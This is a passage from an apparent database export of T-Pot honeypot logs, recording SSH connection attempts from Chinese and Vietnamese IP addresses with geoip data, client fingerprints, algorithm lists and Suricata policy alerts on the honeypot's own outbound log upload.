"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59220, "timestamp": "2021-09-20T11:15:01.190086", "@timestamp": "2021-09-20T11:15:01.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27574	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:15:01.18957+03	2021-09-20 14:30:01.643567+03	{"_id": "-QbqAnwBvYTbRNuEmihY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d826ca65fb0f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:01.189570Z", "@timestamp": "2021-09-20T11:15:01.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27576	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:15:01.460945+03	2021-09-20 14:30:01.645553+03	{"_id": "AgbqAnwBvYTbRNuEnClG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1938752217022809, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59220, "dest_port": 22, "timestamp": "2021-09-20T11:15:01.460945Z", "@timestamp": "2021-09-20T11:15:01.460Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27577	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:01.463428+03	2021-09-20 14:30:01.648524+03	{"_id": "AwbqAnwBvYTbRNuEnClG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1738724852707533, "@version": "1", "fileinfo": {"gaps": false, "size": 102205, "magic": "ASCII text", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "data.json"}, "in_iface": "enp5s0", "src_port": 56704, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:15:01.463428Z", "@timestamp": "2021-09-20T11:15:01.463Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
27578	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:01.42579+03	2021-09-20 14:30:01.649523+03	{"_id": "AQbqAnwBvYTbRNuEnClG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:01.405709+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 493}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 1738724852707533, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiAxODgyODkxMg0KQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1iNmViOWFkYmQyYzhlNWNlDQpFeHBlY3Q6IDEwMC1jb250aW51ZQ0KDQo=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56704, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:15:01.425790Z", "@timestamp": "2021-09-20T11:15:01.425Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 18828912\\r\\nContent-Type: multipart/form-data; boundary=------------------------b6eb9adbd2c8e5ce\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
27579	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:15:01.461025+03	2021-09-20 14:30:01.651523+03	{"_id": "BQbqAnwBvYTbRNuEnSmC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59220, "dest_port": 22, "timestamp": "2021-09-20T11:15:01.461025", "@timestamp": "2021-09-20T11:15:01.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27580	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:15:01.188871+03	2021-09-20 14:30:01.652524+03	{"_id": "9gbqAnwBvYTbRNuEmihY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:59220 (192.168.176.2:22) [session: d826ca65fb0f]", "session": "d826ca65fb0f", "@version": "1", "protocol": "ssh", "src_port": 59220, "dest_port": 22, "timestamp": "2021-09-20T11:15:01.188871Z", "@timestamp": "2021-09-20T11:15:01.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27581	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:01.42579+03	2021-09-20 14:30:01.653525+03	{"_id": "BAbqAnwBvYTbRNuEnClG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:01.405709+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 493}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP Request on Unusual Port Possibly Hostile", "signature_id": 2006408}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "78.83.66.198", "flow_id": 1738724852707533, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56704, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:15:01.425790Z", "@timestamp": "2021-09-20T11:15:01.425Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27582	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.255074+03	2021-09-20 14:30:01.655525+03	{"_id": "DwbqAnwBvYTbRNuEoiks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57204 (192.168.176.2:22) [session: 6acaeeb0096d]", "session": "6acaeeb0096d", "@version": "1", "protocol": "ssh", "src_port": 57204, "dest_port": 22, "timestamp": "2021-09-20T11:15:03.255074Z", "@timestamp": "2021-09-20T11:15:03.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27583	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:02.847726+03	2021-09-20 14:30:01.656524+03	{"_id": "GQbqAnwBvYTbRNuEoikt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "55f7e1f1d9b7", "@version": "1", "duration": 7.307402610778809, "timestamp": "2021-09-20T11:15:02.847726Z", "@timestamp": "2021-09-20T11:15:02.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27584	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:03.742626+03	2021-09-20 14:30:01.658523+03	{"_id": "HgbqAnwBvYTbRNuEpCkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1707509030578759, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59874, "dest_port": 22, "timestamp": "2021-09-20T11:15:03.742626Z", "@timestamp": "2021-09-20T11:15:03.742Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27585	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:03.751276+03	2021-09-20 14:30:01.659523+03	{"_id": "HwbqAnwBvYTbRNuEpSlS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59874, "dest_port": 22, "timestamp": "2021-09-20T11:15:03.751276", "@timestamp": "2021-09-20T11:15:03.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27586	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:15:03.949606+03	2021-09-20 14:30:01.661523+03	{"_id": "JgbqAnwBvYTbRNuEpikV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d826ca65fb0f", "@version": "1", "duration": 2.760089159011841, "timestamp": "2021-09-20T11:15:03.949606Z", "@timestamp": "2021-09-20T11:15:03.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27587	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:04.512523+03	2021-09-20 14:30:01.662523+03	{"_id": "IQbqAnwBvYTbRNuEpikV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:53116 (192.168.176.2:22) [session: f8b079b1ad98]", "session": "f8b079b1ad98", "@version": "1", "protocol": "ssh", "src_port": 53116, "dest_port": 22, "timestamp": "2021-09-20T11:15:04.512523Z", "@timestamp": "2021-09-20T11:15:04.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27588	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:03.751932+03	2021-09-20 14:30:01.664523+03	{"_id": "IwbqAnwBvYTbRNuEpikV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "29aca63c6f1e", "@version": "1", "timestamp": "2021-09-20T11:15:03.751932Z", "@timestamp": "2021-09-20T11:15:03.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 